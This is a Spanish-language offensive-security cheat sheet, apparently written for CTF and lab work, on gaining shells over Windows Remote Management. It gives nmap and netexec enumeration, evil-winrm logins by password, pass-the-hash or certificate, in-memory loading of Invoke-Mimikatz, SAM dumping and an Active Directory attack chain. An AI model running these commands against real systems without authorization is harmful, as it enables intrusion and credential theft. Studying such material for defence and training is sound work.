Saltar al contenido
Protocolos
Índice de contenidos

WinRM (Windows Remote Management)

Puerto por defecto: 5985/TCP (HTTP) · 5986/TCP (HTTPS)

WinRM es el servicio de administración remota de Windows (equivalente a SSH en el mundo Windows). Si tienes credenciales válidas (o un hash NTLM) de un usuario que pertenece al grupo Remote Management Users o es administrador local, WinRM te da una shell interactiva con evil-winrm.


Enumeración

nmap -p5985,5986 -sCV <IP>

Comprueba si unas credenciales son válidas para WinRM con netexec:

netexec winrm <IP> -u <usuario> -p <pass>
netexec winrm <IP> -u <usuario> -H <hash_NTLM>

Un resultado con (Pwn3d!) significa que ese usuario puede abrir shell por WinRM.

Consejo: cuando crackees o encuentres credenciales en una máquina Windows/AD, lo primero es pasarlas por netexec winrm (y también smb). Si ves Pwn3d!, ya tienes shell.


Shell con evil-winrm

La herramienta de referencia:

# Con contraseña
evil-winrm -i <IP> -u <usuario> -p '<pass>'

# Pass-the-Hash (sin contraseña, solo el hash NTLM)
evil-winrm -i <IP> -u <usuario> -H <hash_NTLM>

# Con certificados (WinRM sobre HTTPS / PKINIT)
evil-winrm -i <IP> -u <usuario> -c cert.pem -k key.pem -S

Funciones útiles de evil-winrm

Ya dentro de la shell, evil-winrm trae utilidades:

upload <local> <remoto>      # subir un archivo (p.ej. winpeas.exe)
download <remoto> <local>    # descargar (p.ej. para loot)
menu                         # ver funciones extra

Carga de scripts/binarios en memoria:

# Coloca tus scripts en el dir indicado con -s al arrancar evil-winrm
evil-winrm -i <IP> -u user -p pass -s /ruta/scripts/
# dentro:  Invoke-Mimikatz.ps1   (se carga en memoria)

Qué hacer tras conseguir shell

whoami /priv          # privilegios -> ¿SeImpersonate, SeBackup...?
whoami /groups
type C:\Users\<user>\Desktop\user.txt

A partir de aquí, escalada de privilegios Windows (ver la nota correspondiente). Si el usuario es administrador local, lee flags, vuelca SAM, etc.


Herramientas relacionadas

HerramientaDescripción
evil-winrmShell interactiva por WinRM (password, PtH, uploads).
netexec winrmValidar credenciales/hashes y detectar Pwn3d!.
crackmapexecAlternativa clásica (predecesor de netexec).

Consejo: WinRM es, junto con SMB, la vía de entrada más cómoda en máquinas Windows una vez tienes credenciales. El patrón de oro en Active Directory es: consigues un hash o contraseña (Kerberoasting, AS-REP, dump de SAM) → netexec winrm para ver dónde funciona → evil-winrm para la shell. Y recuerda que no necesitas la contraseña: con el hash NTLM y -H entras igual (Pass-the-Hash).